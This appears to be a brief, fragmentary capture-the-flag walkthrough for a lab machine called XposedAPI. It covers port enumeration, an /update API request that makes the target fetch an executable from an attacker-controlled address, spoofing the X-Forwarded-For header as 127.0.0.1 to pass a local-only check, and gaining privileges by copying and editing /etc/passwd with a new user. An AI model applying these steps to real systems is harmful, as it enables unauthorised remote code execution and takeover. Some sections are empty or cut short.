XposedAPI

Enumeration

...
13337/tcp open  http    Gunicorn 20.0.4
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API
...

/logs

Methods: GET

/update

Methods: POST

Updates the app using a linux executable. Content-Type: application/json {"user":"", "url":""}

/restart

Methods: GET

POST /update HTTP/1.1
...
Content-Type: application/json
Content-Length: 48

{"user":"test", "url":"http://192.168.49.60/"}

Response:
Invalid username.

We need a valid username.

Added to request header -> X-Forwarded-For: 127.0.0.1

Initial Access

PrivEsc

Copy contents of /etc/passwd to your host as passwd.

Add this user with this command:

ch:pass123

Last updated